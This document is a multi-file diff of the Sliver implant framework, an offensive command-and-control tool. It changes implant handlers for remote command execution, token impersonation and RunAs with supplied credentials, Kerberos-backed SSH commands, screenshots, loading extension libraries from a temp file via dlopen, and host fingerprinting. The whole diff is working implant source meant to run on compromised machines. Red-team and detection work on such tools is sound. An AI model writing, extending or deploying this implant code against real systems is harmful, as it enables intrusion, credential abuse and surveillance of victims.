gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo=
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM=
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1/go.mod h1:m3v+5svpVOhtFAP/wSz+yzh4Mc0Fg7eRhxkJMWSIz9Q=
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 h1:1duIyWiTaYvVx3YX2CYtpJbUFd7/UuPYCfgXtQ3VTbI=
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0/go.mod h1:oG2kH0IvSYNIu80dVAyu/yoefjq1mNfM5bm88whjWx4=
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 h1:a9tsXlIDD9SKxotJMK3niV7rPZAJeX2aD/0yg3qlIrg=
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0/go.mod h1:l8VISx+WGYp+Fp7KRbsiUuXTTOnxIc3Tuvyavf11/WM=
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU=
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLvuNnlv8=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
|
||||
@@ -20,7 +20,6 @@ package cryptography
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
@@ -35,6 +34,7 @@ import (
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/encoders"
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
"golang.org/x/crypto/chacha20poly1305"
|
||||
@@ -107,7 +107,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
|
||||
plaintext = bytes.NewBuffer(encoders.GzipBuf(plaintext)).Bytes()
|
||||
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return nil, err
|
||||
@@ -134,7 +134,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return GunzipBuf(plaintext), nil
|
||||
return encoders.GunzipBuf(plaintext), nil
|
||||
}
|
||||
|
||||
// NewCipherContext - Wrapper around creating a cipher context from a key
|
||||
@@ -248,19 +248,19 @@ func RootOnlyVerifyCertificate(caCertPEM string, rawCerts [][]byte, _ [][]*x509.
|
||||
return nil
|
||||
}
|
||||
|
||||
// GzipBuf - Gzip a buffer
|
||||
func GzipBuf(data []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
zip := gzip.NewWriter(&buf)
|
||||
zip.Write(data)
|
||||
zip.Close()
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// GunzipBuf - Gunzip a buffer
|
||||
func GunzipBuf(data []byte) []byte {
|
||||
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
|
||||
var buf bytes.Buffer
|
||||
buf.ReadFrom(zip)
|
||||
return buf.Bytes()
|
||||
}
|
||||
//// GzipBuf - Gzip a buffer
|
||||
//func GzipBuf(data []byte) []byte {
|
||||
// var buf bytes.Buffer
|
||||
// zip := gzip.NewWriter(&buf)
|
||||
// zip.Write(data)
|
||||
// zip.Close()
|
||||
// return buf.Bytes()
|
||||
//}
|
||||
//
|
||||
//// GunzipBuf - Gunzip a buffer
|
||||
//func GunzipBuf(data []byte) []byte {
|
||||
// zip, _ := gzip.NewReader(bytes.NewBuffer(data))
|
||||
// var buf bytes.Buffer
|
||||
// buf.ReadFrom(zip)
|
||||
// return buf.Bytes()
|
||||
//}
|
||||
@@ -21,6 +21,7 @@ package encoders
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// GzipEncoderID - EncoderID
|
||||
@@ -29,12 +30,44 @@ const GzipEncoderID = 49
|
||||
// Gzip - Gzip compression encoder
|
||||
type Gzip struct{}
|
||||
|
||||
var gzipWriterPools = &sync.Pool{}
|
||||
|
||||
func init() {
|
||||
gzipWriterPools = &sync.Pool{
|
||||
New: func() interface{} {
|
||||
w, _ := gzip.NewWriterLevel(nil, gzip.BestSpeed)
|
||||
return w
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// GzipBuf - Gzip a buffer
|
||||
func GzipBuf(data []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
|
||||
gzipWriter.Reset(&buf)
|
||||
gzipWriter.Write(data)
|
||||
gzipWriter.Close()
|
||||
gzipWriterPools.Put(gzipWriter)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// GunzipBuf - Gunzip a buffer
|
||||
func GunzipBuf(data []byte) []byte {
|
||||
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
|
||||
var buf bytes.Buffer
|
||||
buf.ReadFrom(zip)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
// Encode - Compress data with gzip
|
||||
func (g Gzip) Encode(data []byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
gzipWriter, _ := gzip.NewWriterLevel(&buf, gzip.BestSpeed)
|
||||
gzipWriter := gzipWriterPools.Get().(*gzip.Writer)
|
||||
gzipWriter.Reset(&buf)
|
||||
gzipWriter.Write(data)
|
||||
gzipWriter.Close()
|
||||
gzipWriterPools.Put(gzipWriter)
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build darwin
|
||||
|
||||
package extension
|
||||
|
||||
/*
|
||||
@@ -19,34 +21,26 @@ package extension
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"runtime"
|
||||
"errors"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"sync"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"github.com/Binject/universal"
|
||||
"github.com/ebitengine/purego"
|
||||
)
|
||||
|
||||
type DarwinExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *universal.Library
|
||||
module uintptr
|
||||
arch string
|
||||
serverStore bool
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
type extensionArguments struct {
|
||||
inDataSize uintptr
|
||||
inDataBuff uintptr
|
||||
outDataSize uintptr
|
||||
outDataBuff uintptr
|
||||
}
|
||||
|
||||
func NewDarwinExtension(data []byte, id string, arch string, init string) *DarwinExtension {
|
||||
return &DarwinExtension{
|
||||
id: id,
|
||||
@@ -65,65 +59,58 @@ func (d *DarwinExtension) GetArch() string {
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Load() error {
|
||||
var err error
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
loader, err := universal.NewLoader()
|
||||
|
||||
extTmpFile, err := createTempFile(d.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.module, err = loader.LoadLibrary(d.id, &d.data)
|
||||
if err != nil {
|
||||
return err
|
||||
defer cleanupTempFile(extTmpFile)
|
||||
d.module = purego.Dlopen(extTmpFile, purego.RTLD_NOW|purego.RTLD_GLOBAL)
|
||||
if err := purego.Dlerror(); err != "" {
|
||||
return errors.New(err)
|
||||
}
|
||||
|
||||
if d.init != "" {
|
||||
if _, errInit := d.module.Call(d.init); errInit != nil {
|
||||
return errInit
|
||||
}
|
||||
var initFunc func()
|
||||
purego.RegisterLibFunc(&initFunc, d.module, d.init)
|
||||
initFunc()
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
// We currently have 2 issues with Darwin extensions:
|
||||
// - cppgo (used by universal) fucks up when calling a function with more than 1 argument
|
||||
// - we don't have Go callback support for the loaded extension,
|
||||
// so we have to wait for the call to finish to get the results
|
||||
// To circumvent these issues, we pass the extensionArguments structure
|
||||
// as the only argument to the call, so we can pass args in and extract
|
||||
// the result at the same time.
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
extArgs := extensionArguments{}
|
||||
if len(arguments) > 0 {
|
||||
extArgs.inDataBuff = uintptr(unsafe.Pointer(&arguments[0]))
|
||||
extArgs.inDataSize = uintptr(uint64(len(arguments)))
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
|
||||
// {{end}}
|
||||
d.Lock()
|
||||
defer d.Unlock()
|
||||
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("%s done!\n", export)
|
||||
// {{end}}
|
||||
outData := new(bytes.Buffer)
|
||||
outDataSize := int(extArgs.outDataSize)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Out data size: %d\n", outDataSize)
|
||||
// {{end}}
|
||||
for i := 0; i < outDataSize; i++ {
|
||||
b := (*byte)(unsafe.Pointer(uintptr(i) + extArgs.outDataBuff))
|
||||
outData.WriteByte(*b)
|
||||
}
|
||||
// We currently don't have a way to trigger a callback
|
||||
// in the loaded code for Darwin.
|
||||
if outData.Len() > 0 {
|
||||
onFinish(outData.Bytes())
|
||||
}
|
||||
d.onFinish = onFinish
|
||||
outCallback := purego.NewCallback(d.extensionCallback)
|
||||
var exportFunc func([]byte, uint64, uintptr) uint32
|
||||
purego.RegisterLibFunc(&exportFunc, d.module, export)
|
||||
exportFunc(arguments, uint64(len(arguments)), outCallback)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *DarwinExtension) extensionCallback(data uintptr, length uintptr) {
|
||||
outDataSize := int(length)
|
||||
outBytes := unsafe.Slice((*byte)(unsafe.Pointer(data)), outDataSize)
|
||||
d.onFinish(outBytes)
|
||||
}
|
||||
|
||||
func createTempFile(data []byte) (string, error) {
|
||||
tmpFile, err := ioutil.TempFile("", "")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer tmpFile.Close()
|
||||
_, err = tmpFile.Write(data)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return tmpFile.Name(), nil
|
||||
}
|
||||
|
||||
func cleanupTempFile(path string) error {
|
||||
return os.Remove(path)
|
||||
}
|
||||
@@ -19,7 +19,6 @@ package extension
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"sync"
|
||||
"syscall"
|
||||
@@ -132,14 +131,9 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
|
||||
// so we can pass data back to the Go process from the loaded DLL
|
||||
func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
|
||||
outDataSize := int(dataLen)
|
||||
outBuff := new(bytes.Buffer)
|
||||
for i := 0; i < outDataSize; i++ {
|
||||
b := (*byte)(unsafe.Pointer(uintptr(i) + data))
|
||||
outBuff.WriteByte(*b)
|
||||
}
|
||||
//TODO: do something with outBuff
|
||||
if outBuff.Len() > 0 {
|
||||
w.onFinish(outBuff.Bytes())
|
||||
outBytes := unsafe.Slice((*byte)(unsafe.Pointer(data)), outDataSize)
|
||||
if dataLen > 0 {
|
||||
w.onFinish(outBytes)
|
||||
}
|
||||
return Success
|
||||
}
|
||||
@@ -26,7 +26,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"io/fs"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
@@ -37,6 +37,7 @@ import (
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers/matcher"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -173,11 +174,11 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
var match bool = false
|
||||
var linkPath string = ""
|
||||
|
||||
for _, fileInfo := range files {
|
||||
for _, dirEntry := range files {
|
||||
if filter == "" {
|
||||
match = true
|
||||
} else {
|
||||
match, err = filepath.Match(filter, fileInfo.Name())
|
||||
match, err = matcher.Match(filter, dirEntry.Name())
|
||||
if err != nil {
|
||||
// Then this is a bad filter, and it will be a bad filter
|
||||
// on every iteration of the loop, so we might as well break now
|
||||
@@ -186,29 +187,32 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
if match {
|
||||
// Check if this is a symlink, and if so, add the path the link points to
|
||||
if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
|
||||
linkPath, err = filepath.EvalSymlinks(path + fileInfo.Name())
|
||||
if err != nil {
|
||||
linkPath = ""
|
||||
}
|
||||
} else {
|
||||
linkPath = ""
|
||||
}
|
||||
|
||||
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
|
||||
Name: fileInfo.Name(),
|
||||
IsDir: fileInfo.IsDir(),
|
||||
Size: fileInfo.Size(),
|
||||
fileInfo, err := dirEntry.Info()
|
||||
sliverFileInfo := &sliverpb.FileInfo{}
|
||||
if err == nil {
|
||||
sliverFileInfo.Size = fileInfo.Size()
|
||||
sliverFileInfo.ModTime = fileInfo.ModTime().Unix()
|
||||
/* Send the time back to the client / server as the number of seconds
|
||||
since epoch. This will decouple formatting the time to display from the
|
||||
time itself. We can change the format of the time displayed in the client
|
||||
and not have to worry about having to update implants.
|
||||
*/
|
||||
ModTime: fileInfo.ModTime().Unix(),
|
||||
Mode: fileInfo.Mode().String(),
|
||||
Link: linkPath,
|
||||
})
|
||||
sliverFileInfo.Mode = fileInfo.Mode().String()
|
||||
// Check if this is a symlink, and if so, add the path the link points to
|
||||
if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
|
||||
linkPath, err = filepath.EvalSymlinks(path + dirEntry.Name())
|
||||
if err != nil {
|
||||
linkPath = ""
|
||||
}
|
||||
} else {
|
||||
linkPath = ""
|
||||
}
|
||||
}
|
||||
sliverFileInfo.Name = dirEntry.Name()
|
||||
sliverFileInfo.IsDir = dirEntry.IsDir()
|
||||
sliverFileInfo.Link = linkPath
|
||||
|
||||
dirList.Files = append(dirList.Files, sliverFileInfo)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -217,7 +221,7 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func getDirList(target string) (string, []os.FileInfo, error) {
|
||||
func getDirList(target string) (string, []fs.DirEntry, error) {
|
||||
dir, err := filepath.Abs(target)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -226,10 +230,10 @@ func getDirList(target string) (string, []os.FileInfo, error) {
|
||||
return "", nil, err
|
||||
}
|
||||
if _, err := os.Stat(dir); !os.IsNotExist(err) {
|
||||
files, err := ioutil.ReadDir(dir)
|
||||
files, err := os.ReadDir(dir)
|
||||
return dir, files, err
|
||||
}
|
||||
return dir, []os.FileInfo{}, errors.New("directory does not exist")
|
||||
return dir, []fs.DirEntry{}, errors.New("directory does not exist")
|
||||
}
|
||||
|
||||
func rmHandler(data []byte, resp RPCResponse) {
|
||||
@@ -530,7 +534,16 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
execResp := &sliverpb.Execute{}
|
||||
cmd := exec.Command(execReq.Path, execReq.Args...)
|
||||
exePath, err := expandPath(execReq.Path)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
cmd := exec.Command(exePath, execReq.Args...)
|
||||
|
||||
if execReq.Output {
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
@@ -834,7 +847,7 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
|
||||
for _, fileName := range directoryFiles {
|
||||
standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
|
||||
if filter != "" {
|
||||
match, err := filepath.Match(testPath+filter, standardFileName)
|
||||
match, err := matcher.Match(testPath+filter, standardFileName)
|
||||
if err == nil && match {
|
||||
matchingFiles = append(matchingFiles, standardFileName)
|
||||
}
|
||||
@@ -848,7 +861,7 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
|
||||
if filter != "" {
|
||||
// Normalize paths
|
||||
testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
|
||||
match, matchErr := filepath.Match(testPath+filter, filePath)
|
||||
match, matchErr := matcher.Match(testPath+filter, filePath)
|
||||
if !match || matchErr != nil {
|
||||
// If there is an error, it is because the filter is bad, so it is not a match
|
||||
return nil
|
||||
@@ -929,3 +942,13 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
|
||||
}
|
||||
return readFiles, unreadableFiles, nil
|
||||
}
|
||||
|
||||
func expandPath(exePath string) (string, error) {
|
||||
if !strings.ContainsRune(exePath, os.PathSeparator) {
|
||||
_, err := exec.LookPath(exePath)
|
||||
if err != nil {
|
||||
return filepath.Abs(exePath)
|
||||
}
|
||||
}
|
||||
return exePath, nil
|
||||
}
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"runtime"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -37,6 +38,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/registry"
|
||||
"github.com/bishopfox/sliver/implant/sliver/service"
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -120,6 +122,28 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return windowsHandlers
|
||||
}
|
||||
|
||||
func WrapperHandler(handler RPCHandler, data []byte, resp RPCResponse) {
|
||||
if priv.CurrentToken != 0 {
|
||||
err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
}
|
||||
handler(data, resp)
|
||||
if priv.CurrentToken != 0 {
|
||||
err := priv.TRevertToSelf()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------- Windows Handlers ----------------
|
||||
|
||||
func impersonateHandler(data []byte, resp RPCResponse) {
|
||||
@@ -152,10 +176,12 @@ func runAsHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
out, err := priv.RunProcessAsUser(runAsReq.Username, runAsReq.ProcessName, runAsReq.Args)
|
||||
runAs := &sliverpb.RunAs{
|
||||
Output: out,
|
||||
show := 10
|
||||
if runAsReq.HideWindow {
|
||||
show = 0
|
||||
}
|
||||
err = priv.RunAs(runAsReq.Username, runAsReq.Domain, runAsReq.Password, runAsReq.ProcessName, runAsReq.Args, show, runAsReq.NetOnly)
|
||||
runAs := &sliverpb.RunAs{}
|
||||
if err != nil {
|
||||
runAs.Response = &commonpb.Response{Err: err.Error()}
|
||||
}
|
||||
@@ -277,7 +303,16 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
|
||||
execResp := &sliverpb.Execute{}
|
||||
cmd := exec.Command(execReq.Path, execReq.Args...)
|
||||
exePath, err := expandPath(execReq.Path)
|
||||
if err != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
return
|
||||
}
|
||||
cmd := exec.Command(exePath, execReq.Args...)
|
||||
|
||||
// Execute with current token
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{}
|
||||
@@ -424,7 +459,7 @@ func makeTokenHandler(data []byte, resp RPCResponse) {
|
||||
return
|
||||
}
|
||||
makeTokenResp := &sliverpb.MakeToken{}
|
||||
err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password)
|
||||
err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password, makeTokenReq.LogonType)
|
||||
if err != nil {
|
||||
makeTokenResp.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
//go:build !windows
|
||||
|
||||
package matcher
|
||||
|
||||
import "path/filepath"
|
||||
|
||||
// PathMatch - Match a path against a pattern, generic implementation
|
||||
func Match(pattern string, s string) (bool, error) {
|
||||
return filepath.Match(pattern, s)
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package matcher
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Match - Windows specific implementation: disregard the case
|
||||
func Match(pattern string, s string) (bool, error) {
|
||||
return filepath.Match(strings.ToLower(pattern), strings.ToLower(s))
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
//go:build (linux && (386 || amd64)) || (darwin && (amd64 || arm64)) || (windows && amd64)
|
||||
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/screen"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func screenshotHandler(data []byte, resp RPCResponse) {
|
||||
sc := &sliverpb.ScreenshotReq{}
|
||||
err := proto.Unmarshal(data, sc)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Screenshot Request")
|
||||
// {{end}}
|
||||
scRes := &sliverpb.Screenshot{}
|
||||
scRes.Data = screen.Screenshot()
|
||||
data, err = proto.Marshal(scRes)
|
||||
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
//go:build !((linux && (386 || amd64)) || (darwin && (amd64 || arm64)) || (windows && amd64))
|
||||
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
func screenshotHandler(data []byte, resp RPCResponse) {
|
||||
resp([]byte{}, errors.New("unsupported platform"))
|
||||
}
|
||||
@@ -31,7 +31,6 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/netstat"
|
||||
"github.com/bishopfox/sliver/implant/sliver/procdump"
|
||||
"github.com/bishopfox/sliver/implant/sliver/ps"
|
||||
"github.com/bishopfox/sliver/implant/sliver/screen"
|
||||
"github.com/bishopfox/sliver/implant/sliver/shell/ssh"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
@@ -173,25 +172,6 @@ func ifconfig() *sliverpb.Ifconfig {
|
||||
return interfaces
|
||||
}
|
||||
|
||||
func screenshotHandler(data []byte, resp RPCResponse) {
|
||||
sc := &sliverpb.ScreenshotReq{}
|
||||
err := proto.Unmarshal(data, sc)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Screenshot Request")
|
||||
// {{end}}
|
||||
scRes := &sliverpb.Screenshot{}
|
||||
scRes.Data = screen.Screenshot()
|
||||
data, err = proto.Marshal(scRes)
|
||||
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func netstatHandler(data []byte, resp RPCResponse) {
|
||||
netstatReq := &sliverpb.NetstatReq{}
|
||||
err := proto.Unmarshal(data, netstatReq)
|
||||
@@ -281,11 +261,11 @@ func buildEntries(proto string, s []netstat.SockTabEntry) []*sliverpb.SockTabEnt
|
||||
}
|
||||
entries = append(entries, &sliverpb.SockTabEntry{
|
||||
LocalAddr: &sliverpb.SockTabEntry_SockAddr{
|
||||
Ip: e.LocalAddr.String(),
|
||||
Ip: e.LocalAddr.IP.String(),
|
||||
Port: uint32(e.LocalAddr.Port),
|
||||
},
|
||||
RemoteAddr: &sliverpb.SockTabEntry_SockAddr{
|
||||
Ip: e.RemoteAddr.String(),
|
||||
Ip: e.RemoteAddr.IP.String(),
|
||||
Port: uint32(e.RemoteAddr.Port),
|
||||
},
|
||||
SkState: e.State.String(),
|
||||
@@ -315,7 +295,11 @@ func runSSHCommandHandler(data []byte, resp RPCResponse) {
|
||||
commandReq.Username,
|
||||
commandReq.Password,
|
||||
commandReq.PrivKey,
|
||||
commandReq.Command)
|
||||
commandReq.Krb5Conf,
|
||||
commandReq.Keytab,
|
||||
commandReq.Realm,
|
||||
commandReq.Command,
|
||||
)
|
||||
commandResp := &sliverpb.SSHCommand{
|
||||
Response: &commonpb.Response{},
|
||||
StdOut: stdout,
|
||||
|
||||
@@ -31,8 +31,10 @@ import (
|
||||
"github.com/gofrs/uuid"
|
||||
)
|
||||
|
||||
var zeroGUID = uuid.Must(uuid.FromString("00000000-0000-0000-0000-000000000000"))
|
||||
|
||||
// UUIDFromMAC - Generate a UUID based on the machine's MAC addresses, this is
|
||||
// generally used as a last resort to fingerpint the host machine. It creates
|
||||
// generally used as a last resort to fingerprint the host machine. It creates
|
||||
// a uuid by hashing the MAC addresses of all network interfaces and using the
|
||||
// first 16 bytes of the hash as the UUID. This should work so long as network
|
||||
// interfaces are not added or removed, since its physical addresses this should
|
||||
@@ -43,7 +45,7 @@ func UUIDFromMAC() string {
|
||||
// {{end}}
|
||||
interfaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return ""
|
||||
return zeroGUID.String()
|
||||
}
|
||||
hardwareAddrs := []string{}
|
||||
for _, iface := range interfaces {
|
||||
@@ -51,6 +53,9 @@ func UUIDFromMAC() string {
|
||||
hardwareAddrs = append(hardwareAddrs, iface.HardwareAddr.String())
|
||||
}
|
||||
}
|
||||
if len(hardwareAddrs) == 0 {
|
||||
return zeroGUID.String()
|
||||
}
|
||||
sort.Strings(hardwareAddrs) // Ensure deterministic order
|
||||
digest := sha256.New()
|
||||
for _, addr := range hardwareAddrs {
|
||||
@@ -58,7 +63,7 @@ func UUIDFromMAC() string {
|
||||
}
|
||||
value, err := uuid.FromBytes(digest.Sum(nil)[:16]) // Must be 128-bits
|
||||
if err != nil {
|
||||
return ""
|
||||
return zeroGUID.String()
|
||||
}
|
||||
return value.String()
|
||||
}
|
||||
@@ -1,23 +1,23 @@
|
||||
// +build darwin
|
||||
//go:build darwin
|
||||
|
||||
package hostuuid
|
||||
|
||||
/*
|
||||
